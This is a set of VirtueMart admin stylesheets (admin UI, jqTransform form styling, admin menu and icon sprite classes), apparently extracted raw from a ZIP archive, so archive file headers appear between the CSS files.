#admin-ui-tabs .not-active .hasTip { opacity : 0.5; -moz-opacity : 0.5; -ms-filter: "alpha(opacity=50)"; /* IE 8 */ filter : alpha(opacity=50); /* IE < 8 */ font-weight: normal; } /*//////////////////////////////////// ////////////// Basics //////////////// ////////////////////////////////////*/ .inline {display: inline-block;vertical-align: middle;} .clear {clear: both;} .floatleft {float: left;} .floatright{float: right;} .center{text-align: center} .right {text-align: right;} /*//////////////////////////////////// ///////////// All Width`s //////////// ////////////////////////////////////*/ .width1{width:1%}.width2{width:2%}.width3{width:3%}.width4{width:4%}.width5{width:5%}.width6{width:6%}.width7{width:7%}.width8{width:8%}.width9{width:9%}.width10{width:10%}.width11{width:11%}.width12{width:12%}.width13{width:13%}.width14{width:14%}.width15{width:15%}.width16{width:16%}.width17{width:17%}.width18{width:18%}.width19{width:19%}.width20{width:20%}.width21{width:21%}.width22{width:22%}.width23{width:23%}.width24{width:24%}.width25{width:25%}.width26{width:26%}.width27{width:27%}.width28{width:28%}.width29{width:29%}.width30{width:30%}.width31{width:31%}.width32{width:32%}.width33{width:33%}.width34{width:34%}.width35{width:35%}.width36{width:36%}.width37{width:37%}.width38{width:38%}.width39{width:39%}.width40{width:40%}.width41{width:41%}.width42{width:42%}.width43{width:43%}.width44{width:44%}.width45{width:45%}.width46{width:46%}.width47{width:47%}.width48{width:48%}.width49{width:49%}.width50{width:50%}.width51{width:51%}.width52{width:52%}.width53{width:53%}.width54{width:54%}.width55{width:55%}.width56{width:56%}.width57{width:57%}.width58{width:58%}.width59{width:59%}.width60{width:60%}.width61{width:61%}.width62{width:62%}.width63{width:63%}.width64{width:64%}.width65{width:65%}.width66{width:66%}.width67{width:67%}.width68{width:68%}.width69{width:69%}.width70{width:70%}.width71{width:71%}.width72{width:72%}.width73{width:73%}.width74{width:74%}.width75{width:75%}.width76{width:76%}.width77{width:77%}.width78{width:78%}.width79{width:79%}.width80{width:80%}.width81{width:81%}.width82{width:82%}.width83{width:83%}.width84{width:84%}.width85{width:85%}.width86{width:86%}.width87{width:87%}.width88{width:88%}.width89{width:89%}.width90{width:90%}.width91{width:91%}.width92{width:92%}.width93{width:93%}.width94{width:94%}.width95{width:95%}.width96{width:96%}.width97{width:97%}.width98{width:98%}.width99{width:99%}.width100{width:100%} /* Icons */ .print_32, .icon-32-print {background: url(../images/icon_32/printer.png) no-repeat transparent; float:left;height: 32px;margin: auto;text-align: center;width: 32px;} .invoice_32, .invoice-32-print {background: url(../images/icon_32/invoice.png) no-repeat transparent; float:left;height: 32px;margin: auto;text-align: center;width: 32px;} .invoicenew_32, .invoice-32-print {background: url(../images/icon_32/invoicenew.png) no-repeat transparent; float:left;height: 32px;margin: auto;text-align: center;width: 32px;} .deliverynote_32, .deliverynote-32-print {background: url(../images/icon_32/deliverynote.png) no-repeat transparent; float:left;height: 32px;margin: auto;text-align: center;width: 32px;} .deliverynotenew_32, .deliverynote-32-print {background: url(../images/icon_32/deliverynotenew.png) no-repeat transparent; float:left;height: 32px;margin: auto;text-align: center;width: 32px;} #limit {width:60px;} /* jqeury ui autocomplete */ .ui-widget{margin-top:2em} .ui-widget-header,.ui-widget-content{padding:.5em 1em} .ui-widget-header h2{margin:0;padding:0} .ui-autocomplete{width:600px;height:300px} .ui-autocomplete li{background:none repeat scroll 0 0 #FFF;display:inline;float:left;list-style:none outside none;position:relative;margin:0;padding:0} .vmpayment_description,.vmshipment_description{margin-left:2px} #plugin-Container{display:table} .vm2-modallink{height:16px;margin-left:3px;width:16px;display:inline-block;background:url(../images/admin_ui/icon_external_link.gif) no-repeat scroll left top transparent} .vmquote{background-color:#E9ECEF;border:1px solid #CCC;color:#254D78;font-size:12px;margin:4px;padding:10px} ul.newsfeed{list-style:none!important;text-align:left;padding:0} ul.newsfeed li{font-size:120%;line-height:150%;margin:0;padding:0 0 0 25px} .cpanel{padding-left:25px;text-align:left} .element-box{background:#fff} PK@y>\/components/com_virtuemart/assets/css/index.htmlnuW+APK@y>\HȆR#R#4components/com_virtuemart/assets/css/jqtransform.cssnuW+Aform.jqtransformdone label{ margin-top:4px; margin-right: 8px; display: block; float:left; } form.jqtransformdone div.rowElem{ clear:both; padding:4px 0px; } /* ------------- * Buttons * ------------- */ button.jqTransformButton { margin: 0px; padding: 0px; border: none; background-color: transparent; cursor: pointer; overflow: visible; font-family: Arial; } *:first-child+html button.jqTransformButton[type]{width: 1;} /* IE7 */ button.jqTransformButton span { background: transparent url(../images/jtransform/btn_right.gif) no-repeat right top; display: block; float: left; padding: 0px 4px 0px 0px; /* sliding doors padding */ margin: 0px; height: 33px; } button.jqTransformButton span span { background: transparent url(../images/jtransform/btn_left.gif) no-repeat top left; color: #333; padding: 8px 4px 0px 8px; font-weight: normal; font-size: 12px; line-height: 13px; display: block; text-decoration: none; height: 33px; } /*hover*/ button.jqTransformButton_hover span span { background-position: left -33px ; } button.jqTransformButton_hover span { background-position: right -33px ; } /*clicked*/ button.jqTransformButton_click span span { background-position: left -66px ; } button.jqTransformButton_click span { background-position: right -66px ; } /* IE 6 */ * html button.jqTransformButton { height:33px; } * button.jqTransformButton span span { height: 25px; } /* IE 7 */ *+ html button.jqTransformButton { height:33px; } *+ button.jqTransformButton span span { height: 25px; } /* ------------- * Inputs * ------------- */ .jqTransformInputWrapper { background: transparent url(../images/jtransform/input/input_text_left.gif) no-repeat left top; height: 31px; padding: 0px; float:left; } .jqTransformInputInner { background: transparent url(../images/jtransform/input/input_text_right.gif) no-repeat top right; padding: 0px; margin: 0px; } .jqTransformInputInner div { height: 31px; margin:0px 0px 0px 8px; } .jqTransformInputInner div input { font-family:Arial, Helvetica, sans-serif; font-size:12px; line-height: 18px; vertical-align: middle; height: 31px; color:#404040; border: none; padding: 8px 0px 0px 0px; margin: 0px; background:transparent; } /* IE6 */ * html .jqTransformInputInner div input { padding: 6px 0 0 0; margin: 0 0 0 -8px; height:24px; } /* Ie7 */ *+ html .jqTransformInputInner div input { padding: 6px 0 0 0; margin-left:-10px; height:24px; } /*hover*/ .jqTransformInputWrapper_hover{ background-position: left -31px ;} .jqTransformInputWrapper_hover div.jqTransformInputInner{ background-position: right -31px ;} /*focus*/ .jqTransformInputWrapper_focus{ background-position: left -62px ;} .jqTransformInputWrapper_focus div.jqTransformInputInner{ background-position: right -62px ;} .jqTransformSafari .jqTransformInputInner div { position: relative; overflow: hidden; margin:0px 8px; } .jqTransformSafari .jqTransformInputInner div input { background-color: none; position: absolute; top: -10px; left: -2px; height: 42px; padding-left: 4px; } /* ------------- * Textarea * ------------- */ table.jqTransformTextarea td#jqTransformTextarea-mm textarea{ font-size: 12px; line-height: 16px; } table.jqTransformTextarea td{ font-size: 1px; line-height: 1px; width: 5px; height: 5px; margin: 0; padding: 0; } table.jqTransformTextarea{} table.jqTransformTextarea tr{ /*border: 1px solid red;*/ } table.jqTransformTextarea textarea{ margin: 0; padding: 0; border: 0; background: none; } table.jqTransformTextarea td#jqTransformTextarea-tl{background: url(../images/jtransform/textarea/textarea_tl.gif) no-repeat top left;} table.jqTransformTextarea td#jqTransformTextarea-tm{background: url(../images/jtransform/textarea/textarea_tm.gif) repeat-x top left;} table.jqTransformTextarea td#jqTransformTextarea-tr{background: url(../images/jtransform/textarea/textarea_tr.gif) no-repeat top left;} table.jqTransformTextarea td#jqTransformTextarea-ml{background: url(../images/jtransform/textarea/textarea_ml.gif) repeat-y top left;} table.jqTransformTextarea td#jqTransformTextarea-mm{background: url(../images/jtransform/textarea/textarea-mm.gif) repeat;} table.jqTransformTextarea td#jqTransformTextarea-mr{background: url(../images/jtransform/textarea/textarea_mr.gif) repeat-y top left;} table.jqTransformTextarea td#jqTransformTextarea-bl{background: url(../images/jtransform/textarea/textarea_bl.gif) no-repeat top left;} table.jqTransformTextarea td#jqTransformTextarea-bm{background: url(../images/jtransform/textarea/textarea_bm.gif) repeat-x top left;} table.jqTransformTextarea td#jqTransformTextarea-br{background: url(../images/jtransform/textarea/textarea_br.gif) no-repeat top left;} /*hover*/ table.jqTransformTextarea-hover td#jqTransformTextarea-tl{background-position:0px -5px;} table.jqTransformTextarea-hover td#jqTransformTextarea-tm{background-position:0px -5px;} table.jqTransformTextarea-hover td#jqTransformTextarea-tr{background-position:0px -5px;} table.jqTransformTextarea-hover td#jqTransformTextarea-ml{background-position:-5px 0px;} table.jqTransformTextarea-hover td#jqTransformTextarea-mm{background-image: url(../images/jtransform/textarea/textarea-mm-hover.gif);} table.jqTransformTextarea-hover td#jqTransformTextarea-mr{background-position:-5px 0px;} table.jqTransformTextarea-hover td#jqTransformTextarea-bl{background-position:0px -5px;} table.jqTransformTextarea-hover td#jqTransformTextarea-bm{background-position:0px -5px;} table.jqTransformTextarea-hover td#jqTransformTextarea-br{background-position:0px -5px;} /*focus*/ table.jqTransformTextarea-focus td#jqTransformTextarea-tl{background-position:0px -10px;} table.jqTransformTextarea-focus td#jqTransformTextarea-tm{background-position:0px -10px;} table.jqTransformTextarea-focus td#jqTransformTextarea-tr{background-position:0px -10px;} table.jqTransformTextarea-focus td#jqTransformTextarea-ml{background-position:-10px 0px;} table.jqTransformTextarea-focus td#jqTransformTextarea-mm{background-image: url(../images/jtransform/textarea/textarea-mm-focus.gif);} table.jqTransformTextarea-focus td#jqTransformTextarea-mr{background-position: -10px 0px;} table.jqTransformTextarea-focus td#jqTransformTextarea-bl{background-position:0px -10px;} table.jqTransformTextarea-focus td#jqTransformTextarea-bm{background-position:0px -10px;} table.jqTransformTextarea-focus td#jqTransformTextarea-br{background-position:0px -10px;} table.jqTransformTextarea .jqTransformSafariTextarea div { position: relative; overflow: hidden; border: 0px solid red; } table.jqTransformTextarea .jqTransformSafariTextarea textarea{ background: none; position: absolute; top:-10px; left:-10px; padding: 10px 10px 10px 10px; resize: none; } /* ------------- * Radios * ------------- */ .jqTransformRadioWrapper {float: left;display:block;margin:0px 4px; margin-top:5px;} .jqTransformRadio { background: transparent url(../images/jtransform/radio.gif) no-repeat center top; vertical-align: middle; height: 19px; width: 18px; display:block;/*display: -moz-inline-block;*/ } /* ------------- * Checkboxes * ------------- */ span.jqTransformCheckboxWrapper{ display:block;float:left; margin-top:5px; } a.jqTransformCheckbox { background: transparent url(../images/jtransform/checkbox.gif) no-repeat center top; vertical-align: middle; height: 19px; width: 18px; display:block;/*display: -moz-inline-block;*/ } /* ------------- * Checked - Used for both Radio and Checkbox * ------------- */ a.jqTransformChecked { background-position: center bottom;} /* ------------- * Selects * ------------- */ .jqTransformSelectWrapper { width: 45px; position:relative; height: 31px; background: url(../images/jtransform/select_left.gif) no-repeat top left; float:left; } .jqTransformSelectWrapper div span { font-size: 12px; float: none; position: absolute; white-space: nowrap; height: 31px; line-height: 15px; padding: 8px 0 0 7px; overflow: hidden; cursor:pointer; /*border: 1px solid #CCCCCC;*/ /* border-right: none;*/ } .jqTransformSelectWrapper a.jqTransformSelectOpen { display: block; position: absolute; right: 0px; width: 31px; height: 31px; background: url(../images/jtransform/select_right.gif) no-repeat center center; } .jqTransformSelectWrapper ul { position: absolute; width: 43px; top: 30px; left: 0px; list-style: none; background-color: #FFF; border: solid 1px #CCC; display: none; margin: 0px; padding: 0px; height: 150px; overflow: auto; overflow-y: auto; z-index:10; } .jqTransformSelectWrapper ul a { display: block; padding: 5px; text-decoration: none; color:#333; background-color: #FFF; font-size: 12px; } .jqTransformSelectWrapper ul a.selected { background: #EDEDED; color: #333; } .jqTransformSelectWrapper ul a:hover, .jqTransformSelectWrapper ul a.selected:hover { background:#3582c4; color: #fff; } /* ------------- * Hidden - used to hide the original form elements * ------------- */ .jqTransformHidden {display: none;}PK@y>\cc3components/com_virtuemart/assets/css/admin_menu.cssnuW+A#content-box { background: url(../images/admin_menu/vm_border.png) 0 0 repeat-y; } #content-box2 { background: url(../images/admin_menu/vm_border.png) 100% 0 repeat-y; background-color: Black; } #content-box3 { background: url(../images/admin_menu/vm_border.png) 100% 0 repeat-y; } #content-pad { padding: 0; } #content-pad2 { padding: 0; } .spacer { height: 10px; overflow: hidden; } .content-area { float: right; width: 80%; } .content-area-full { clear: both; float: none; width: 100%; } .content-area .content-pad .content-pad2 { padding-left: 10px; } .content-area-full .content-pad .content-pad2 { padding: 0; } .section-smenu{ } .title-smenu, .title-smenu-down { margin: 0px; padding: 9px 10px 7px 28px; color: #fff; cursor: pointer; font-size: 11px; font-weight: normal; text-shadow: 0px -1px 0px #0a366d; text-transform: uppercase; } .title-smenu { background: url(../images/admin_interface.png) no-repeat;background-position: 0px -117px; } .title-smenu-down { background: url(../images/admin_interface.png) no-repeat;background-position: 0px -177px; } div.status-divider { clear:left; height: 1px !important; height: 3px; overflow: hidden; } .sidemenu-box { float: left; width: 180px; } .sidemenu-box2 { float: left; width: 100%; } .sidemenu-pad { padding: 0; margin-bottom: 0px !important; } .sidemenu-top {text-align: center;background: url(../images/admin_interface.png) top left no-repeat;padding: 12px 0px 12px 0px;-webkit-border-top-left-radius: 6px;-moz-border-radius-topleft: 6px;-webkit-border-top-right-radius: 6px;-moz-border-radius-topright: 6px;} .sidemenu-top a {display: block;margin: 0px 0px 8px 0px;} .sidemenu-top h2 {margin: 0px;padding: 0px;} .sidemenu-top h2 a {font-size: 12px;color: #fff;text-shadow: 1px 1px 1px #000;} .sidemenu-top h2 a:hover {text-decoration: none;} .sidemenu-bottom {text-align: center;background: url(../images/admin_interface.png) top left no-repeat;padding: 16px 0px 17px 0px;background-position: 0px -268px;-webkit-border-bottom-left-radius: 6px;-moz-border-radius-bottomleft: 6px;-webkit-border-bottom-right-radius: 6px;-moz-border-radius-bottomright: 6px;} .sidemenu-bottom a:link, .sidemenu-bottom a:visited {font-size: 12px;color: #fff;text-shadow: 1px 1px 1px #000;} .sidemenu-bottom a:hover {text-decoration: none;} .updates {text-align: center;} .updates a, .updates a:visited {display:inline-block;background: #84df54 url(../images/admin_interface.png) top left no-repeat;color: #fff;background-position: 0px -315px;padding: 5px 12px 5px 12px;font-size: 12px;text-shadow: 0px -1px 0px #0d8604;font-weight: bold;-webkit-border-bottom-left-radius: 6px;-webkit-border-bottom-right-radius: 6px;-moz-border-radius-bottomleft: 6px;-moz-border-radius-bottomright: 6px;} .updates a:hover {text-decoration: none;} .element-box { background: #fff; } .element-pad { padding: 10px; } .extra-padding { padding: 10px; } .sidemenu-box ul { margin: 0; padding: 0; } .sidemenu-box ul li { } .sidemenu-box li a { margin: 0px; padding: 9px 10px 6px 28px; cursor: pointer; font-size: 12px; font-weight: normal; text-shadow: 0px -1px 0px #fff; display: block; background: url(../images/admin_interface.png) no-repeat; background-position: 0px -207px; color: #4a4a4a; } .sidemenu-box li a:hover { background-position: 0px -237px; color: #0270bc; text-decoration: none; } .sidemenu-box li a:active { background-position: 0px -237px; color: #0270bc; text-decoration: none; } .sidemenu-box h2 { font-size: 18px; font-weight: bold; margin: 0; padding: 0 5px; color: #0B55C4; margin-bottom: 5px; } .vmquote { background-color: #E9ECEF; border: 1px solid #CCCCCC; color: #254D78; font-size: 12px; margin: 4px; padding: 10px; }PK@y>\$~$FF5components/com_virtuemart/assets/css/admin.styles.cssnuW+A.ui-autocomplete{position:absolute} #cpanel{text-align:center;vertical-align:middle;height:1%;overflow:hidden} #cpanel div.icon{margin:3px} .admin-content div.icon a { display: block; height: 93px !important; height: 95px; width: 118px !important; width: 120px; vertical-align: middle; text-decoration : none; border: none; padding: 8px 12px 6px 12px; -moz-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.25) inset, 0 1px 2px #FFFFFF; -webkit-box-shadow:rgba(0, 0, 0, 0.148438) 0 1px 2px inset, #FFFFFF 0 1px 2px; background-image: -moz-linear-gradient(100% 100% 90deg, #F8F8F8, #FFFFFF); background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#FFFFFF), to(#F1F1F1)); -webkit-border-radius: 6px; -moz-border-radius: 6px; font-size: 12px; } .adminListHeader{height:48px;background-repeat:no-repeat;text-align:left;font-size:18px;font-weight:700;padding-left:80px} .editable{background:#ffff33;cursor:pointer} .align-center{text-align:center} .vm-block{overflow:hidden} .vm-main-container{position:relative} .vm-layout-left{float:left;width:200px} .vm-layout-right{width:auto} .vm-replace-content{text-indent:-9999px;font-size:0} .vm-absolute{position:absolute} .detachselectimage,#addnewselectimage{background-repeat:no-repeat;border:1px solid #CCCCCC;cursor:pointer;display:inline;line-height:36px;margin:5px;padding:5px 5px 5px 16px} .vm_thumb_image{background:url(../images/admin_ui/toolbar_background.png) repeat-x scroll center bottom;border:1px solid #B4B4B4;border-radius:6px;display:block;float:left;height:140px;overflow:hidden;position:relative;text-align:center;vertical-align:middle;width:120px;margin:2px;padding:10px} .vm_thumb_image img{max-height:90px;max-width:110px} .vm_mini_image{max-height:50px;max-width:80px;vertical-align:middle} .vm__img_autocrop{display:block;max-height:400px;overflow:auto;position:relative;text-align:center} .custom_related_title,.custom_related_image{display:block;clear:both} .remove{cursor:pointer} .vm-order_comment{display:block;position:absolute;z-index:1;width:200px;margin:-20px} #fancybox-left-ico{left:20px} #fancybox-right-ico{right:20px;left:auto} .edit-24-grey{background-image:url(../images/edit-24-grey.png);background-position:center center;background-repeat:no-repeat;border:1px solid #CCCCCC;border-radius:4px;display:inline;height:24px;right:0;position:absolute;bottom:2px;width:24px;cursor:pointer;margin:2px 0 0 2px} .removable{border-radius:6px 6px 6px 6px;border:1px solid #CCCCCC;padding:2px} #new_stockable_product{border:1px solid #CCCCCC;cursor:pointer;padding:2px} div.threecols ul li{background:none repeat scroll 0 0 transparent;display:inline-block;min-height:10px;vertical-align:top;width:32%;padding:0} div.threecols ul{margin:0;padding:0} .hasTip:after{ font:12px/1.4 Arial,Georgia,sans-serif; content: attr(title); display:none; position:absolute; padding:5px 10px; top:0px; margin:1em 0 3em; color:#fff; background:#075698; left:-20px; -moz-border-radius:4px; -webkit-border-radius:4px; border-radius:4px; background:-webkit-gradient(linear, left top, left bottom, from(#075698), to(#2e88c4)); background:-moz-linear-gradient(top, #075698, #2e88c4); background:-o-linear-gradient(top, #075698, #2e88c4); background:linear-gradient(top, #075698, #2e88c4); -moz-box-shadow: 0px 0px 4px #000; /* FF3.5+ */ -webkit-box-shadow: 0px 0px 4px #000; /* Saf3.0+, Chrome */ box-shadow: 0px 0px 4px #000; /* Opera 10.5, IE 9.0 */ filter: progid:DXImageTransform.Microsoft.dropshadow(OffX=0px, OffY=0px, Color='#000'); /* IE6,IE7 */ -ms-filter: "progid:DXImageTransform.Microsoft.dropshadow(OffX=0px, OffY=0px, Color='#000')"; /* IE8 */ } .media-pagination span{padding:6px; margin-left: 2px; border:solid 1px #075698; -moz-border-radius:6px; -webkit-border-radius:6px; border-radius:6px; } .media-pagination span:hover,.media-pagination span.media-page-selected{background:#CAC9C9;cursor:pointer} .element-hidden{display:none} .datepicker{text-align:center;width:70px} a.fg-button,.always-left{float:left!important} .fg-button{cursor:pointer;outline:0 none;position:relative;text-align:center;text-decoration:none!important;margin:0 4px 0 0;padding:0} #searchMedia{margin:0;padding:0} .stock-out{background-color:#f9a7aa!important;color:black} .stock-low{background-color:#F7B77B!important;color:black} .stock-normal{background-color:#F0F9D0!important;color:black} table.adminlist td.order{width:100px!important} ol.logline {margin: 15px 0;padding: 0 0 0 20px;background: #F7F7F7; border: 1px solid #CCC;} ol.logline li {margin: 0 0 0 20px;padding: 5px 10px 5px 10px;list-style: decimal-leading-zero;word-wrap: break-word;border-left: 1px solid #CCC;background: #FFF;}PK@y>\& 774components/com_virtuemart/assets/css/menu_images.cssnuW+A.vmicon{ background: no-repeat top left; width: 16px;height: 16px; float: right;margin-right: 4px; opacity : 0.8; -moz-opacity : 0.8; -ms-filter: "alpha(opacity=90)"; /* IE 8 */ filter : alpha(opacity=90); /* IE < 8 */ } .vmicon:hover{opacity :1;} .vmextimg img{width:48px!important; float:none!important; margin:0 auto !important;padding:5px 0 !important;} /* to use inline with no float*/ .icon-nofloat{ display: inline-block; float: none; vertical-align: middle;} .vmicon-16-adduser{ background: url(../images/icone16.png) 0 0; } .vmicon-16-adduser-off{ background: url(../images/icone16.png) 0 -16px;} .vmicon-16-apply{ background: url(../images/icone16.png) 0 -82px;} .vmicon-16-apply{ background: url(../images/icone16.png) 0 -98px;} .vmicon-16-archive{ background: url(../images/icone16.png) 0 -164px; } .vmicon-16-article{ background: url(../images/icone16.png) 0 -230px; } .vmicon-16-back{ background: url(../images/icone16.png) 0 -296px;} .vmicon-16-back-off{ background: url(../images/icone16.png) 0 -212px;} .vmicon-16-bug{ background: url(../images/icone16.png) 0 -378px; } .vmicon-16-cancel{ background: url(../images/icone16.png) 0 -444px;} .vmicon-16-cancel-off{ background: url(../images/icone16.png) 0 -460px;} .vmicon-16-category{ background: url(../images/icone16.png) 0 -526px; } .vmicon-16-checkin{ background: url(../images/icone16.png) 0 -592px; } .vmicon-16-component{ background: url(../images/icone16.png) 0 -658px; } .vmicon-16-config{ background: url(../images/icone16.png) 0 -724px; } .vmicon-16-content{ background: url(../images/icone16.png) 0 -790px; } .vmicon-16-copy{ background: url(../images/icone16.png) 0 -856px;} .vmicon-16-copy-off{ background: url(../images/icone16.png) 0 -872px;} .vmicon-16-cpanel{ background: url(../images/icone16.png) 0 -938px; } .vmicon-16-css{ background: url(../images/icone16.png) 0 -1004px;} .vmicon-16-css-off{ background: url(../images/icone16.png) 0 -1004px;} .vmicon-16-default-off{ background: url(../images/icone16.png) 0 -1086px; } .vmicon-16-default{ background: url(../images/icone16.png) 0 -1152px; } .vmicon-16-download{ background: url(../images/icone16.png) 0 -1220px;} .vmicon-16-download-off{ background: url(../images/icone16.png) 0 -1234px;} .vmicon-16-edit{ background: url(../images/icone16.png) 0 -1300px;} .vmicon-16-edit-off{ background: url(../images/icone16.png) 0 -1316px;} .vmicon-16-editadd{ background: url(../images/icone16.png) 0 -1382px; } .vmicon-16-export{ background: url(../images/icone16.png) 0 -1448px;} .vmicon-16-export-off{ background: url(../images/icone16.png) 0 -1464px;} .vmicon-16-forward{ background: url(../images/icone16.png) 0 -1530px;} .vmicon-16-forward-off{ background: url(../images/icone16.png) 0 -1546px;} .vmicon-16-frontpage{ background: url(../images/icone16.png) 0 -1612px; } .vmicon-16-google2{ background: url(../images/icone16.png) 0 -1678px; } .vmicon-16-help{ background: url(../images/icone16.png) 0 -1744px; } .vmicon-16-html{ background: url(../images/icone16.png) 0 -1810px;} .vmicon-16-html-off{ background: url(../images/icone16.png) 0 -1826px;} .vmicon-16-import{ background: url(../images/icone16.png) 0 -1892px; } .vmicon-16-info{ background: url(../images/icone16.png) -66px 0; } .vmicon-16-install{ background: url(../images/icone16.png) -66px -66px; } .vmicon-16-language{ background: url(../images/icone16.png) -66px -132px; } .vmicon-16-logout{ background: url(../images/icone16.png) -66px -198px; } .vmicon-16-media{ background: url(../images/icone16.png) -66px -264px; } .vmicon-16-menu{ background: url(../images/icone16.png) -66px -330px; } .vmicon-16-menumgr{ background: url(../images/icone16.png) -66px -396px; } .vmicon-16-messages{ background: url(../images/icone16.png) -66px -462px; } .vmicon-16-module{ background: url(../images/icone16.png) -66px -528px; } .vmicon-16-move{ background: url(../images/icone16.png) -66px -594px;} .vmicon-16-move-off{ background: url(../images/icone16.png) -66px -610px;} .vmicon-16-new{ background: url(../images/icone16.png) -66px -676px;} .vmicon-16-new-off{ background: url(../images/icone16.png) -66px -692px;} .vmicon-16-orderstatus{ background: url(../images/icone16.png) -66px -758px; } .vmicon-16-plugin{ background: url(../images/icone16.png) -66px -824px; } .vmicon-16-preview{ background: url(../images/icone16.png) -66px -890px;} .vmicon-16-preview-off{ background: url(../images/icone16.png) -66px -906px;} .vmicon-16-publish{ background: url(../images/icone16.png) -66px -972px;} .vmicon-16-publish-off{ background: url(../images/icone16.png) -66px -988px;} .vmicon-16-refresh{ background: url(../images/icone16.png) -66px -1054px;} .vmicon-16-refresh-off{ background: url(../images/icone16.png) -66px -1070px;} .vmicon-16-reload{ background: url(../images/icone16.png) -66px -1136px; } .vmicon-16-remove{ background: url(../images/icone16.png) -66px -1202px; } .vmicon-16-revert{ background: url(../images/icone16.png) -66px -1268px;} .vmicon-16-revert-off{ background: url(../images/icone16.png) -66px -1284px;} .vmicon-16-save{ background: url(../images/icone16.png) -66px -1350px; } .vmicon-16-search{ background: url(../images/icone16.png) -66px -1416px;} .vmicon-16-search-off{ background: url(../images/icone16.png) -66px -1432px;} .vmicon-16-section{ background: url(../images/icone16.png) -66px -1498px; } .vmicon-16-send{ background: url(../images/icone16.png) -66px -1564px;} .vmicon-16-send-off{ background: url(../images/icone16.png) -66px -1576px;} .vmicon-16-static{ background: url(../images/icone16.png) -66px -1646px; } .vmicon-16-stats{ background: url(../images/icone16.png) -66px -1712px; } .vmicon-16-themes{ background: url(../images/icone16.png) -66px -1778px; } .vmicon-16-trash{ background: url(../images/icone16.png) -66px -1844px; } .vmicon-16-unpublish{ background: url(../images/icone16.png) -66px -1910px;} .vmicon-16-unpublish-off{ background: url(../images/icone16.png) -66px -1926px;} .vmicon-16-upload{ background: url(../images/icone16.png) -132px 0;} .vmicon-16-upload-off{ background: url(../images/icone16.png) -132px 16px;} .vmicon-16-user{ background: url(../images/icone16.png) -132px -82px; } .vmicon-16-xml{ background: url(../images/icone16.png) -132px -148px; } /*menu wrapper toggler */ .virtuemart-admin-area .toggler { position: absolute; outline: 0;} .vmicon-show{ background: url(../images/show.png) no-repeat;width: 20px; height: 50px; } .vmicon-hide{background: url(../images/hide.png) no-repeat;width: 20px; height: 50px; } /* more extras */ .vmicon-16-account_balances{ background: url(../images/icone16-more.png) 0 0; } .vmicon-16-anchor{ background: url(../images/icone16-more.png) 0 -32px; } .vmicon-16-barchart{ background: url(../images/icone16-more.png) 0 -64px; } .vmicon-16-book_spelling{ background: url(../images/icone16-more.png) 0 -96px; } .vmicon-16-bricks{ background: url(../images/icone16-more.png) 0 -128px; } .vmicon-16-calculator{ background: url(../images/icone16-more.png) 0 -160px; } .vmicon-16-calendar{ background: url(../images/icone16-more.png) 0 -192px; } .vmicon-16-calendar_view_day{ background: url(../images/icone16-more.png) 0 -224px; } .vmicon-16-camera{ background: url(../images/icone16-more.png) 0 -256px; } .vmicon-16-card_back{ background: url(../images/icone16-more.png) 0 -288px; } .vmicon-16-card_credit{ background: url(../images/icone16-more.png) 0 -320px; } .vmicon-16-card_gift_2{ background: url(../images/icone16-more.png) 0 -352px; } .vmicon-16-cash_terminal{ background: url(../images/icone16-more.png) 0 -384px; } .vmicon-16-chart_bar{ background: url(../images/icone16-more.png) 0 -416px; } .vmicon-16-chart_pie_alternative{ background: url(../images/icone16-more.png) 0 -448px; } .vmicon-16-chart_stock{ background: url(../images/icone16-more.png) 0 -480px; } .vmicon-16-client_account_template{ background: url(../images/icone16-more.png) 0 -512px; } .vmicon-16-cog{ background: url(../images/icone16-more.png) 0 -544px; } .vmicon-16-coin_stack_gold{ background: url(../images/icone16-more.png) 0 -576px; } .vmicon-16-coins{ background: url(../images/icone16-more.png) 0 -608px; } .vmicon-16-comment_edit{ background: url(../images/icone16-more.png) 0 -640px; } .vmicon-16-comments{ background: url(../images/icone16-more.png) 0 -672px; } .vmicon-16-compress{ background: url(../images/icone16-more.png) 0 -704px; } .vmicon-16-convert_color_to_gray{ background: url(../images/icone16-more.png) 0 -736px; } .vmicon-16-creditcards{ background: url(../images/icone16-more.png) 0 -768px; } .vmicon-16-database_gear{ background: url(../images/icone16-more.png) 0 -800px; } .vmicon-16-date{ background: url(../images/icone16-more.png) 0 -832px; } .vmicon-16-date_edit{ background: url(../images/icone16-more.png) 0 -864px; } .vmicon-16-disk{ background: url(../images/icone16-more.png) 0 -896px; } .vmicon-16-document_editing{ background: url(../images/icone16-more.png) 0 -928px; } .vmicon-16-document_move{ background: url(../images/icone16-more.png) 0 -960px; } .vmicon-16-drive_user{ background: url(../images/icone16-more.png) 0 -992px; } .vmicon-16-email{ background: url(../images/icone16-more.png) 0 -1024px; } .vmicon-16-email_add{ background: url(../images/icone16-more.png) 0 -1056px; } .vmicon-16-email_open{ background: url(../images/icone16-more.png) 0 -1088px; } .vmicon-16-email_open_image{ background: url(../images/icone16-more.png) 0 -1120px; } .vmicon-16-error{ background: url(../images/icone16-more.png) 0 -1152px; } .vmicon-16-ext_bmp{ background: url(../images/icone16-more.png) 0 -1184px; } .vmicon-16-ext_doc{ background: url(../images/icone16-more.png) 0 -1216px; } .vmicon-16-ext_flv{ background: url(../images/icone16-more.png) 0 -1248px; } .vmicon-16-ext_gif{ background: url(../images/icone16-more.png) 0 -1280px; } .vmicon-16-ext_html{ background: url(../images/icone16-more.png) 0 -1312px; } .vmicon-16-ext_jpeg{ background: url(../images/icone16-more.png) 0 -1344px; } .vmicon-16-ext_jpg{ background: url(../images/icone16-more.png) 0 -1376px; } .vmicon-16-ext_mp4{ background: url(../images/icone16-more.png) 0 -1408px; } .vmicon-16-ext_mpeg{ background: url(../images/icone16-more.png) 0 -1440px; } .vmicon-16-ext_pdf{ background: url(../images/icone16-more.png) 0 -1472px; } .vmicon-16-ext_png{ background: url(../images/icone16-more.png) 0 -1504px; } .vmicon-16-ext_rar{ background: url(../images/icone16-more.png) 0 -1536px; } .vmicon-16-ext_swf{ background: url(../images/icone16-more.png) 0 -1568px; } .vmicon-16-ext_xls{ background: url(../images/icone16-more.png) 0 -1600px; } .vmicon-16-ext_zip{ background: url(../images/icone16-more.png) 0 -1632px; } .vmicon-16-film{ background: url(../images/icone16-more.png) 0 -1664px; } .vmicon-16-folder{ background: url(../images/icone16-more.png) 0 -1696px; } .vmicon-16-folder_camera{ background: url(../images/icone16-more.png) 0 -1728px; } .vmicon-16-folder_image{ background: url(../images/icone16-more.png) 0 -1760px; } .vmicon-16-folder_user{ background: url(../images/icone16-more.png) 0 -1792px; } 